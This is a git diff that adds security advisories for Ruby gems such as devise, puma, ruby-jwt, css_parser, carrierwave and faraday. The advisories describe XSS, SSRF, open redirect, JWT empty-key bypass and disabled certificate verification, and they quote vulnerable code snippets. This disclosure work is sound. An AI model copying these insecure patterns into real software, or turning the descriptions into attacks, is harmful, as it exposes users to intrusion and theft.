+ ghsa: xv9c-mjw8-79gf
+ url: https://github.com/advisories/GHSA-xv9c-mjw8-79gf
+ title: Sidekiq-cron is vulnerable to a cross-site scripting (xss) vulnerability
+ via crafted URL
+ date: 2026-05-07
+ description: |-
+ Sidekiq-cron thru 2.3.1, an open-source scheduling add-on for Sidekiq,
+ is vulnerable to a cross-site scripting (xss) vulnerability via
+ crafted URL being rended from cron.erb.
+ cvss_v3: 6.1
+ patched_versions:
+ - ">= 2.4.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-67202
+ - https://github.com/sidekiq-cron/sidekiq-cron/releases/tag/v2.4.0
+ - https://github.com/sidekiq-cron/sidekiq-cron/pull/568
+ - https://github.com/sidekiq-cron/sidekiq-cron/commit/7b4ae4822f93ef4646f5cb55500ca4e25662db7c
+ - https://github.com/sidekiq-cron/sidekiq-cron/issues/569
+ - https://github.com/advisories/GHSA-xv9c-mjw8-79gf
+---
diff --git a/advisories/_posts/2026-05-07-CVE-2026-44312.md b/advisories/_posts/2026-05-07-CVE-2026-44312.md
new file mode 100644
index 00000000..0d296b80
--- /dev/null
+++ b/advisories/_posts/2026-05-07-CVE-2026-44312.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'CVE-2026-44312 (css_parser): Improper Certificate Validation allows MITM injection
+ of remote CSS content'
+comments: false
+categories:
+- css_parser
+advisory:
+ gem: css_parser
+ cve: 2026-44312
+ ghsa: ff6c-w6qf-7xqc
+ url: https://github.com/premailer/css_parser/security/advisories/GHSA-ff6c-w6qf-7xqc
+ title: Improper Certificate Validation allows MITM injection of remote CSS content
+ date: 2026-05-07
+ description: |-
+ ### Summary
+
+ The CSS Parser gem does not validate HTTPS connections, allowing a
+ Man-in-the-Middle (MITM) attacker to inject or modify CSS content when
+ stylesheets are loaded via HTTPS. The connection is established with
+ `OpenSSL::SSL::VERIFY_NONE`, meaning any HTTPS certificate—even
+ entirely untrusted—will be accepted without validation.
+
+ ### Details
+
+ In `lib/css_parser/parser.rb`, the HTTP client sets:
+ https://github.com/premailer/css_parser/blob/3f91e8db7547fac50ab50cb7f9920f785f722740/lib/css_parser/parser.rb#L646
+
+ ```ruby
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+ ```
+
+ As a result, the library does not validate the authenticity of HTTPS
+ connections and does not protect against man-in-the-middle attacks.
+ Any attacker in a position to intercept network traffic can inject
+ or modify CSS loaded via HTTPS URLs without detection or warning.
+
+ ### Impact
+
+ Applications using CSS Parser to load remote stylesheets over HTTPS
+ are vulnerable to CSS injection and content manipulation, regardless
+ of the trust status of the remote server. All users who use CSS Parser
+ to fetch external CSS over HTTPS may be impacted.
+
+ ### Credit
+
+ This vulnerability was uncovered by @JLLeitschuh of the
+ @braze-inc security team.
+ cvss_v3: 5.8
+ patched_versions:
+ - "~> 1.22.0"
+ - ">= 2.1.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-44312
+ - https://github.com/premailer/css_parser/security/advisories/GHSA-ff6c-w6qf-7xqc
+ - https://github.com/premailer/css_parser/commit/35e689c904225add78e0c488cf04bad052666449
+ - https://github.com/premailer/css_parser/commit/e0c95d5abe91b237becb90ff316531a6547ada18
+ - https://github.com/premailer/css_parser/issues/185
+ - https://github.com/advisories/GHSA-ff6c-w6qf-7xqc
+---
diff --git a/advisories/_posts/2026-05-07-CVE-2026-44511.md b/advisories/_posts/2026-05-07-CVE-2026-44511.md
new file mode 100644
index 00000000..b9c831be
--- /dev/null
+++ b/advisories/_posts/2026-05-07-CVE-2026-44511.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2026-44511 (katalyst-koi): Session cookies can be replayed after user
+ logout'
+comments: false
+categories:
+- katalyst-koi
+advisory:
+ gem: katalyst-koi
+ cve: 2026-44511
+ ghsa: 4cx3-3c38-j9vv
+ url: https://github.com/katalyst/koi/security/advisories/GHSA-4cx3-3c38-j9vv
+ title: Session cookies can be replayed after user logout
+ date: 2026-05-07
+ description: |-
+ ### Impact
+
+ Admin session cookies were not invalidated when an admin user logged
+ out. An attacker with access to a valid admin session cookie could
+ continue to access admin functionality after logout, until the
+ cookie expired or session secrets were rotated.
+
+ This affects applications using Koi admin authentication where an
+ admin session cookie may have been exposed, cached, intercepted, or
+ otherwise retained after logout.
+
+ ### Patches
+
+ The issue has been patched by recording admin logout time and
+ rejecting any admin session cookie created before the user’s
+ most recent logout.
+
+ Users should upgrade to the patched Koi releases once available.
+
+ ### Workarounds
+
+ Katalyst Koi recommends upgrading to the latest available version,
+ or back porting the changes released in 5.6.0/4.20.0
+
+ ### Resources
+
+ This is an application of https://guides.rubyonrails.org/v5.2.0/security.html#replay-attacks-for-cookiestore-sessions .
+ cvss_v3: 7.4
+ patched_versions:
+ - "~> 4.20.0"
+ - ">= 5.6.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-44511
+ - https://github.com/katalyst/koi/commit/606b33c140a61b1a2b37878ca7504741ec68df33
+ - https://github.com/katalyst/koi/commit/fdbfb404a9500f7fed33e03ab2eb7c2578f9652c
+ - https://github.com/katalyst/koi/security/advisories/GHSA-4cx3-3c38-j9vv
+ - https://guides.rubyonrails.org/v5.2.0/security.html#replay-attacks-for-cookiestore-sessions
+ - https://github.com/advisories/GHSA-4cx3-3c38-j9vv
+---
diff --git a/advisories/_posts/2026-05-08-CVE-2026-40295.md b/advisories/_posts/2026-05-08-CVE-2026-40295.md
new file mode 100644
index 00000000..db5a74dc
--- /dev/null
+++ b/advisories/_posts/2026-05-08-CVE-2026-40295.md
@@ -0,0 +1,111 @@
+---
+layout: advisory
+title: 'CVE-2026-40295 (devise): Devise has an Open Redirect via Unvalidated `request.referrer`
+ in Timeoutable Session Timeout Handler'
+comments: false
+categories:
+- devise
+advisory:
+ gem: devise
+ cve: 2026-40295
+ ghsa: jp94-3292-c3xv
+ url: https://github.com/heartcombo/devise/security/advisories/GHSA-jp94-3292-c3xv
+ title: Devise has an Open Redirect via Unvalidated `request.referrer` in Timeoutable
+ Session Timeout Handler
+ date: 2026-05-08
+ description: |-
+ ## Summary
+
+ When the `Timeoutable` module is enabled in Devise, the
+ `FailureApp#redirect_url` method returns `request.referrer` — the
+ HTTP `Referer` header, which is attacker-controllable — without
+ validation for any non-GET request that results in a session timeout.
+ An attacker who hosts a page with an auto-submitting cross-origin
+ form can cause a victim with an expired Devise session to be
+ redirected to an arbitrary external URL. This contrasts with the
+ GET timeout path (which uses server-side `attempted_path`) and
+ Devise's own `store_location_for` mechanism (which strips external
+ hosts via `extract_path_from_location`), both of which are protected;
+ only the non-GET timeout redirect path is unprotected.
+
+ ## Details
+
+ The vulnerable code is in `lib/devise/failure_app.rb`:
+
+ ```ruby
+ def redirect_url
+ if warden_message == :timeout
+ flash[:timedout] = true if is_flashing_format?
+
+ path = if request.get?
+ attempted_path # safe: server-side value from warden options
+ else
+ request.referrer # UNSAFE: HTTP Referer header, attacker-controlled
+ end
+
+ path || scope_url
+ else
+ scope_url
+ end
+ end
+ ```
+
+ This is passed directly to `redirect_to`:
+
+ ```ruby
+ def redirect
+ store_location!
+ # ...
+ redirect_to redirect_url # redirect_url may be an external attacker URL
+ end
+ ```
+
+ The GET timeout path uses `attempted_path`, which is set server-side
+ by Warden and cannot be influenced by the client. The `store_location!`
+ method also only runs for GET requests, so no session-based protection
+ is applied on POST timeouts.
+
+ By contrast, Devise's `store_location_for` method (used elsewhere)
+ correctly sanitizes URLs via `extract_path_from_location`, which
+ strips the scheme and host.
+
+ ## Impact
+
+ - Victims with expired sessions who click any attacker-crafted link
+ or visit an attacker page with an auto-submitting form are redirected
+ to an arbitrary external URL.
+ - The redirect happens transparently via a trusted domain (the target
+ app's domain), bypassing browser phishing warnings.
+ - An attacker can redirect victims to a fake login page to harvest
+ credentials (phishing), or to malicious download sites.
+
+ _Note_: Rails' built-in open-redirect protection does not mitigate
+ this issue. `Devise::FailureApp` is an `ActionController::Metal`
+ app with its own isolated copy of the relevant redirect configuration,
+ so `config.action_controller.action_on_open_redirect = :raise` (and
+ the older `raise_on_open_redirects` setting) do not reach it.
+
+ ## Patches
+
+ This is patched in Devise v5.0.4. Users should upgrade as soon as possible.
+
+ ## Workaround
+
+ None beyond upgrading. If an upgrade is not immediately possible, the
+ same changes from the patch commit can be applied as a monkey-patch
+ in a Rails initializer (`Devise::FailureApp#redirect_url` and
+ `Devise::Controllers::StoreLocation#extract_path_from_location`).
+ Remove the monkey-patch after upgrading.
+ cvss_v3: 6.1
+ patched_versions:
+ - ">= 5.0.4"
+ related:
+ url:
+ - https://www.cve.org/CVERecord?id=CVE-2026-40295
+ - https://github.com/heartcombo/devise/releases/tag/v5.0.4
+ - https://github.com/heartcombo/devise/blob/v5.0.4/CHANGELOG.md#504---2026-05-08
+ - https://github.com/heartcombo/devise/commit/9ea459de9aec5f1217ad738c58e0d23fb9f5beaa
+ - https://github.com/heartcombo/devise/commit/025fe2124f9928766fc46520e999633b598d0360
+ - https://github.com/heartcombo/devise/security/advisories/GHSA-jp94-3292-c3xv
+ - https://github.com/advisories/GHSA-jp94-3292-c3xv
+---
diff --git a/advisories/_posts/2026-05-08-CVE-2026-44836.md b/advisories/_posts/2026-05-08-CVE-2026-44836.md
new file mode 100644
index 00000000..7e951943
--- /dev/null
+++ b/advisories/_posts/2026-05-08-CVE-2026-44836.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2026-44836 (view_component): view_component - Preview Route Can Dispatch
+ Inherited Helper Methods'''
+comments: false
+categories:
+- view_component
+advisory:
+ gem: view_component
+ cve: 2026-44836
+ ghsa: 7f3r-gwc9-2995
+ url: https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995
+ title: view_component - Preview Route Can Dispatch Inherited Helper Methods'
+ date: 2026-05-08
+ description: |-
+ The preview route derives an example name from the URL and calls it
+ with `public_send`. The code does not verify that the requested
+ method is one of the preview examples explicitly defined by the
+ preview class.
+
+ As a result, inherited public methods on `ViewComponent::Preview`
+ are route-reachable. The most important one is `render_with_template`,
+ which accepts `template:` and `locals:`. Those values can come from
+ request params and are later passed to Rails as `render template:`.
+
+ If previews are exposed, an attacker can render internal Rails
+ templates that are not otherwise routable.
+
+ Severity: High if preview routes are externally reachable; Medium otherwise.
+ cvss_v3: 6.5
+ unaffected_versions:
+ - "< 3.0.0"
+ patched_versions:
+ - ">= 4.9.0"
+ - ">= 3.25.0, < 4.0.0"
+ related:
+ url:
+ - https://viewcomponent.org/CHANGELOG.html#490
+ - https://github.com/ViewComponent/view_component/releases/tag/v4.9.0
+ - https://github.com/ViewComponent/view_component/releases/tag/v3.25.0
+ - https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995
+ - https://github.com/advisories/GHSA-7f3r-gwc9-2995
+---
diff --git a/advisories/_posts/2026-05-08-CVE-2026-44837.md b/advisories/_posts/2026-05-08-CVE-2026-44837.md
new file mode 100644
index 00000000..bffbdeab
--- /dev/null
+++ b/advisories/_posts/2026-05-08-CVE-2026-44837.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2026-44837 (view_component): view_component - System Test Entry Point
+ Path Check Allows Sibling Directory Escape'
+comments: false
+categories:
+- view_component
+advisory:
+ gem: view_component
+ cve: 2026-44837
+ ghsa: hg3h-g7xc-f7vp
+ url: https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp
+ title: view_component - System Test Entry Point Path Check Allows Sibling Directory
+ Escape
+ date: 2026-05-08
+ description: |-
+ The system test entrypoint canonicalizes a user-controlled file path
+ with `File.realpath`, then checks whether the resolved path starts
+ with the temp directory path. This is not a safe containment check
+ because sibling directories can share the same string prefix.
+
+ Severity: Medium; test-route scoped.
+ cvss_v3: 5.9
+ unaffected_versions:
+ - "< 3.0.0"
+ patched_versions:
+ - ">= 4.9.0"
+ - ">= 3.25.0, < 4.0.0"
+ related:
+ url:
+ - https://viewcomponent.org/CHANGELOG.html#490
+ - https://github.com/ViewComponent/view_component/releases/tag/v4.9.0
+ - https://github.com/ViewComponent/view_component/releases/tag/v3.25.0
+ - https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp
+ - https://github.com/advisories/GHSA-hg3h-g7xc-f7vp
+---
diff --git a/advisories/_posts/2026-05-18-CVE-2026-33637.md b/advisories/_posts/2026-05-18-CVE-2026-33637.md
new file mode 100644
index 00000000..88873ef2
--- /dev/null
+++ b/advisories/_posts/2026-05-18-CVE-2026-33637.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2026-33637 (faraday): Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2
+ - protocol-relative URI objects still bypass host scoping'
+comments: false
+categories:
+- faraday
+advisory:
+ gem: faraday
+ cve: 2026-33637
+ ghsa: 5rv5-xj5j-3484
+ url: https://nvd.nist.gov/vuln/detail/CVE-2026-33637
+ title: Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2 - protocol-relative
+ URI objects still bypass host scoping
+ date: 2026-05-18
+ description: |-
+ ## Summary
+
+ `Faraday::Connection#build_exclusive_url` still allows protocol-relative
+ host override when the request target is provided as a `URI` object
+ instead of a `String`. This bypasses the February 2026 fix for
+ `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base
+ `Faraday::Connection` to an attacker-controlled host while preserving
+ connection-scoped headers such as `Authorization`.
+
+ ## Supporting Materials
+
+ - Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
+ - Existing CVE for the original string-based issue: CVE-2026-25765
+ - Existing regression tests for the string-only fix:
+ - spec/faraday/connection_spec.rb:314-345
+ - Existing test proving supported URI request input:
+ - spec/faraday/request_spec.rb:26-31
+
+ ## Impact
+
+ The direct consequence is off-host request forgery from code paths
+ that believe they are constrained to a fixed base URL. If the
+ connection carries default headers or query parameters, those
+ values are forwarded to the attacker-selected host.
+ cvss_v3: 6.5
+ unaffected_versions:
+ - "< 2.0.0"
+ patched_versions:
+ - ">= 2.14.2"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-33637
+ - https://github.com/lostisland/faraday/releases/tag/v2.14.2
+ - https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484
+ - https://github.com/advisories/GHSA-33mh-2634-fwr2
+ - https://github.com/advisories/GHSA-5rv5-xj5j-3484
+---
diff --git a/advisories/_posts/2026-05-18-CVE-2026-45363.md b/advisories/_posts/2026-05-18-CVE-2026-45363.md
new file mode 100644
index 00000000..1a8d7587
--- /dev/null
+++ b/advisories/_posts/2026-05-18-CVE-2026-45363.md
@@ -0,0 +1,66 @@
+---
+layout: advisory
+title: 'CVE-2026-45363 (jwt): ruby-jwt: Empty-key HMAC bypass; cross-language sibling
+ of CVE-2026-44351'
+comments: false
+categories:
+- jwt
+advisory:
+ gem: jwt
+ cve: 2026-45363
+ ghsa: c32j-vqhx-rx3x
+ url: https://www.cve.org/CVERecord?id=CVE-2026-45363
+ title: 'ruby-jwt: Empty-key HMAC bypass; cross-language sibling of CVE-2026-44351'
+ date: 2026-05-18
+ description: |-
+ `JWT.decode(token, '', true, algorithm: 'HS256')` accepts an
+ attacker-forged token. `OpenSSL::HMAC.digest('SHA256', '', payload)`
+ returns a valid digest under an empty key, and no
+ `raise InvalidKeyError if key.empty?` precondition exists in the HMAC
+ algorithm.
+
+ ```
+ JWT.decode(token, "", true, algorithm: 'HS256')
+ -> JWA::Hmac.verify(verification_key: "", ...)
+ -> OpenSSL::HMAC.digest('SHA256', "", signing_input) == signature
+ ```
+
+ The same path is reached when a keyfinder block or key_finder: argument
+ returns "", nil, or an array containing nil for an unknown key.
+ JWT::Decode#find_key only rejects literal nil and empty arrays, and
+ JWT::JWA::Hmac silently coerces nil to "" (signing_key ||= '') before
+ signing.
+
+ ```
+ JWT.decode(token, nil, true, algorithms: ['HS256']) { |_h| "" }
+ -> find_key returns "" # "" && !Array("").empty? == true
+ -> JWA::Hmac.verify(verification_key: "", ...)
+ -> verifies
+ ```
+
+ Common application patterns that produce the unsafe value:
+ `redis.get("kid:#{kid}").to_s`, ORM string columns with `default: ''`,
+ `ENV['SECRET'] || ''`, `Hash.new('')` lookups, `[primary, fallback]`
+ where fallback may be nil. Applications passing a non-empty static
+ `key:`, or whose keyfinder returns nil / raises on miss, are not
+ affected.
+
+ The existing `enforce_hmac_key_length` option would block this but
+ defaults to false. On OpenSSL ≥ 3.5 the empty-key HMAC.digest call no
+ longer raises, so the OpenSSL-3.0 rescue in JWA::Hmac#sign does not
+ fire.
+
+ Affects HS256/HS384/HS512 via both JWT.decode (positional key and block
+ keyfinder) and `JWT::EncodedToken#verify_signature!(key_finder:)`.
+ cvss_v3: 7.4
+ patched_versions:
+ - "~> 2.10.3"
+ - ">= 3.2.0"
+ related:
+ url:
+ - https://www.cve.org/CVERecord?id=CVE-2026-45363
+ - https://github.com/jwt/ruby-jwt/security/advisories/GHSA-c32j-vqhx-rx3x
+ - https://github.com/jwt/ruby-jwt/commit/db560b769a07bd9724e77ff505011ac01872106f
+ - https://github.com/jwt/ruby-jwt/releases/tag/v3.2.0
+ - https://github.com/advisories/GHSA-c32j-vqhx-rx3x
+---
diff --git a/advisories/_posts/2026-05-27-CVE-2026-44587.md b/advisories/_posts/2026-05-27-CVE-2026-44587.md
new file mode 100644
index 00000000..be553054
--- /dev/null
+++ b/advisories/_posts/2026-05-27-CVE-2026-44587.md
@@ -0,0 +1,87 @@
+---
+layout: advisory
+title: 'CVE-2026-44587 (carrierwave): CarrierWave has a denylisted_content_type bypass
+ via Unescaped Regex Metacharacters'
+comments: false
+categories:
+- carrierwave
+advisory:
+ gem: carrierwave
+ cve: 2026-44587
+ ghsa: 7g26-2qgj-chfg
+ url: https://www.cve.org/CVERecord?id=CVE-2026-44587
+ title: CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters
+ date: 2026-05-27
+ description: |-
+ ### Summary
+
+ CarrierWave's content_type_denylist check fails to escape regex
+ metacharacters in string entries, causing the denylist to silently
+ not match the content types it is intended to block.
+
+ **Note**: CarrierWave is aware `#content_type_denylist is deprecated
+ for the security reason`, but it still used by developers, and the
+ problem here isn't denylist allows any filetype, and thats not a
+ vulnerability in carrierwave, its an implementation problem in
+ developers using CarrierWave, the problem is its denylist entries
+ are interpolated directly into a regex without `Regexp.quote` or
+ anchoring. The denylist is still useful when developers want to
+ ban specific content types but allow everything else.
+
+ ### Details
+
+ In `lib/carrierwave/uploader/content_type_denylist.rb:57`, string
+ denylist entries are interpolated directly into a regex without
+ `Regexp.quote` or anchoring:
+
+ ```ruby
+ def denylisted_content_type?(denylist, content_type)
+ Array(denylist).any? { |item| content_type =~ /#{item}/ }
+ end
+
+ The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where +
+ is a quantifier meaning "one or more g", not a literal +. This
+ regex never matches the real MIME type "image/svg+xml" which contains
+ a literal +. This is inconsistent with the allowlist implementation
+ at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which
+ correctly applies both Regexp.quote and a \A anchor:
+
+ rubydef allowlisted_content_type?(allowlist, content_type)
+ Array(allowlist).any? do |item|
+ item = Regexp.quote(item) if item.class != Regexp
+ content_type =~ /\A#{item}/
+ end
+ end
+ ```
+
+ Other affected MIME types include `application/xhtml+xml` and any
+ type containing regex metacharacters.
+
+ Fix: Apply Regexp.quote for string entries and anchor with \A,
+ matching the existing allowlist implementation:
+
+ ```
+ rubydef denylisted_content_type?(denylist, content_type)
+ Array(denylist).any? do |item|
+ item = Regexp.quote(item) if item.class != Regexp
+ content_type =~ /\A#{item}/
+ end
+ end
+ ```
+ ### Impact
+
+ Any application that uses content_type_denylist to block image/svg+xml
+ — the most common use case, specifically to prevent stored XSS — is
+ silently unprotected.
+ cvss_v3: 4.7
+ patched_versions:
+ - "~> 2.2.7"
+ - ">= 3.1.3"
+ related:
+ url:
+ - https://www.cve.org/CVERecord?id=CVE-2026-44587
+ - https://github.com/carrierwaveuploader/carrierwave/releases
+ - https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27
+ - https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg
+ - https://github.com/advisories/GHSA-7g26-2qgj-chfg
+---
diff --git a/advisories/_posts/2026-05-27-CVE-2026-47736.md b/advisories/_posts/2026-05-27-CVE-2026-47736.md
new file mode 100644
index 00000000..ae364f3b
--- /dev/null
+++ b/advisories/_posts/2026-05-27-CVE-2026-47736.md
@@ -0,0 +1,66 @@
+---
+layout: advisory
+title: 'CVE-2026-47736 (puma): Puma PROXY Protocol v1 Parser Allows Remote Memory
+ Exhaustion'
+comments: false
+categories:
+- puma
+advisory:
+ gem: puma
+ cve: 2026-47736
+ ghsa: qpgp-93vx-g8v8
+ url: https://www.cve.org/CVERecord?id=CVE-2026-47736
+ title: Puma PROXY Protocol v1 Parser Allows Remote Memory Exhaustion
+ date: 2026-05-27
+ description: |-
+ ## Impact
+
+ PROXY protocol support for Puma was added in version 5.5.0.
+
+ When PROXY protocol v1 support is enabled, Puma reads incoming bytes
+ into an internal buffer. It waits for "\r\n" to determine whether a
+ PROXY v1 line is present. If an attacker opens a TCP connection and
+ continuously sends bytes without CRLF, Puma keeps appending to this
+ pre-parse buffer.
+
+ This can cause unbounded in-process memory growth and additional
+ CPU cost from repeatedly scanning the growing buffer for CRLF.
+ A single, unauthenticated TCP connection can drive significant memory
+ growth and may cause process/container OOM or degraded availability.
+
+ Only Puma servers using the following non-default config are affected:
+
+ set_remote_address proxy_protocol: :v1
+
+ ## Workarounds
+
+ * Disable PROXY protocol v1 parsing if it is not required:
+ # remove/comment this:
+ # set_remote_address proxy_protocol: :v1
+
+ * Restrict direct network access to Puma listeners using PROXY protocol:
+ * Only allow trusted load balancers/reverse proxies to connect.
+ * Block arbitrary client TCP access with firewall/security group rules.
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 5.5.0"
+ patched_versions:
+ - "~> 7.2.1"
+ - ">= 8.0.2"
+ related:
+ url:
+ - https://www.cve.org/CVERecord?id=CVE-2026-47736
+ - https://rubygems.org/gems/puma/versions/8.0.2
+ - https://github.com/puma/puma/releases/tag/v8.0.2
+ - https://github.com/puma/puma/releases/tag/v7.2.1
+ - https://github.com/puma/puma/blob/main/History.md#802--2026-05-27
+ - https://github.com/puma/puma/blob/main/History.md#721--2026-05-27
+ - https://github.com/puma/puma/pull/2654
+ - https://github.com/puma/puma/issues/2651
+ - https://rubyweekly.com/issues/803
+ - https://advisories.gitlab.com/gem/puma/CVE-2026-47736
+ - https://github.com/puma/puma/security/advisories/GHSA-qpgp-93vx-g8v8
+ notes: |
+ - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47736 (reserved)
+ - No nvd cvss values
+---
diff --git a/advisories/_posts/2026-05-27-CVE-2026-47737.md b/advisories/_posts/2026-05-27-CVE-2026-47737.md
new file mode 100644
index 00000000..0c122bb5
--- /dev/null
+++ b/advisories/_posts/2026-05-27-CVE-2026-47737.md
@@ -0,0 +1,74 @@
+---
+layout: advisory
+title: 'CVE-2026-47737 (puma): Puma PROXY Protocol v1 Accepts Repeated Protocol Headers
+ on Persistent Connections'
+comments: false
+categories:
+- puma
+advisory:
+ gem: puma
+ cve: 2026-47737
+ ghsa: 2vqw-3mp8-cgmx
+ url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47737
+ title: Puma PROXY Protocol v1 Accepts Repeated Protocol Headers on Persistent Connections
+ date: 2026-05-27
+ description: |-
+ ## Impact
+
+ Puma is vulnerable to source IP spoofing when set_remote_address
+ proxy_protocol: :v1 is enabled and persistent connections are used.
+
+ PROXY protocol v1 is a connection-level protocol. Support was added
+ to Puma in v5.5.0. A proxy sends one PROXY header at the beginning
+ of a TCP connection, before any HTTP data. Puma incorrectly re-parsed
+ PROXY protocol headers after each keep-alive request on the same
+ connection. An attacker able to send HTTP requests through a trusted
+ proxy could therefore inject a second PROXY header between HTTP
+ requests. Puma would treat the injected header as authoritative for
+ the next request and overwrite REMOTE_ADDR.
+
+ This can mislead applications or middleware that use REMOTE_ADDR for
+ security decisions, rate limiting, auditing, or allow/deny lists.
+
+ Only deployments that explicitly enable PROXY protocol v1 are affected,
+ and will have set:
+
+ set_remote_address proxy_protocol: :v1
+
+ Puma's default configuration is not affected. Deployments that do
+ not use persistent connections to Puma are also not expected to
+ be affected by this issue.
+
+ ## Workarounds
+
+ * Disable PROXY protocol v1 parsing if it is not required:
+
+ # remove/comment this:
+ # set_remote_address proxy_protocol: :v1
+
+ Users can also disable persistent connections to Puma, for example:
+
+ enable_keep_alives false
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 5.5.0"
+ patched_versions:
+ - "~> 7.2.1"
+ - ">= 8.0.2"
+ related:
+ url:
+ - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47737
+ - https://rubygems.org/gems/puma/versions/8.0.2
+ - https://github.com/puma/puma/blob/main/History.md#802--2026-05-27
+ - https://github.com/puma/puma/blob/main/History.md#721--2026-05-27
+ - https://github.com/puma/puma/releases/tag/v8.0.2
+ - https://github.com/puma/puma/releases/tag/v7.2.1
+ - https://github.com/puma/puma/pull/2654
+ - https://github.com/phires/go-guerrilla/security/advisories/GHSA-c2c3-pqw5-5p7c
+ - https://github.com/puma/puma/issues/2651
+ - https://rubyweekly.com/issues/803
+ - https://github.com/puma/puma/security/advisories/GHSA-2vqw-3mp8-cgmx
+ notes: |
+ - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47737 (reserved)
+ - No nvd cvss values
+---
diff --git a/advisories/_posts/2026-06-01-CVE-2026-53727.md b/advisories/_posts/2026-06-01-CVE-2026-53727.md
new file mode 100644
index 00000000..102be20c
--- /dev/null
+++ b/advisories/_posts/2026-06-01-CVE-2026-53727.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2026-53727 (css_parser): SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`'
+comments: false
+categories:
+- css_parser
+advisory:
+ gem: css_parser
+ cve: 2026-53727
+ ghsa: 9pmc-p236-855h
+ url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53727
+ title: SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`
+ date: 2026-06-01
+ description: |-
+ ## Summary
+
+ CssParser::Parser#read_remote_file (and therefore load_uri!, and the
+ @import-following branch of add_block!) issues HTTP/HTTPS requests
+ against any host, port and URI it is handed, with no scheme allowlist,
+ no host / IP filtering, and no protection against link-local, loopback
+ or RFC‑1918 addresses. Location: redirects are followed recursively
+ back into the same function, which also services file:// URIs, so a
+ single attacker-controlled HTTP redirect upgrades the bug from SSRF
+ to arbitrary local file disclosure.
+
+ In practice, any consumer of css_parser that hands it attacker‑influenced
+ CSS together with a base_uri: option — Premailer being the canonical
+ example — is exposed. The attacker only needs the ability to land one
+ @import url(...) in the CSS that the host application parses.
+ cvss_v4: 8.9
+ unaffected_versions:
+ - "< 2.2.0"
+ patched_versions:
+ - ">= 3.0.0"
+ related:
+ url:
+ - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53727
+ - https://rubygems.org/gems/css_parser/versions/3.0.0
+ - https://github.com/premailer/css_parser/blob/master/CHANGELOG.md#version-300
+ - https://github.com/premailer/css_parser/security/advisories/GHSA-9pmc-p236-855h
+ notes: "- CVE is reserved, but not published so no cvss values.\n"
+---
diff --git a/advisories/_posts/2026-06-02-CVE-2026-53769.md b/advisories/_posts/2026-06-02-CVE-2026-53769.md
new file mode 100644
index 00000000..df785759
--- /dev/null
+++ b/advisories/_posts/2026-06-02-CVE-2026-53769.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2026-53769 (avo): Direct attachment upload endpoint lacks upload authorization
+ and bypasses field-level upload policy'
+comments: false
+categories:
+- avo
+advisory:
+ gem: avo
+ cve: 2026-53769
+ ghsa: pqpw-cvm4-8mv9
+ url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53769
+ title: Direct attachment upload endpoint lacks upload authorization and bypasses
+ field-level upload policy
+ date: 2026-06-02
+ description: |-
+ ## Summary
+
+ Avo's direct attachment upload endpoint lacks server-side upload
+ authorization and bypasses the documented field-level upload policy
+ methods such as upload_{FIELD_ID}?.
+
+ An authenticated Avo user who can reach the Avo attachment upload
+ endpoint can replace or add attachment content, including binary
+ content, filename, and content-type metadata, on a resolved record
+ even when both update? and upload_? policies deny the operation.
+
+ This primarily affects multi-role Avo Pro/Advanced-style deployments
+ where non-administrator or restricted operator users can reach Avo
+ and per-record or per-field operations are expected to be enforced
+ by policies.
+ cvss_v3: 6.5
+ unaffected_versions:
+ - "< 2.28.0"
+ patched_versions:
+ - "~> 3.32.0"
+ - ">= 4.0.0.beta.41"
+ related:
+ url:
+ - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53769
+ - https://rubygems.org/gems/avo/versions/4.0.0.beta.41
+ - https://rubygems.org/gems/avo/versions/3.32.0 - https://avohq.io/releases/3.32.0
+ - https://github.com/avo-hq/avo/security/advisories/GHSA-pqpw-cvm4-8mv9
+ notes: |
+ - CVE is reserved, but not published.
+ - date and cvss_v3 and patched_versions from GHSA URL.
+ - 4.0.0.beta.41 on 6/2/2026 ; 3.32.0 on 6/2/2026
+ - Do not see 4.0.0.beta.41 inside GitHub. Nothing before 4.0.6.
+ - See 4.0.0.beta.41 on Rubygems URL.
+---
diff --git a/advisories/_posts/2026-06-03-CVE-2026-54163.md b/advisories/_posts/2026-06-03-CVE-2026-54163.md
new file mode 100644
index 00000000..b5d2a742
--- /dev/null
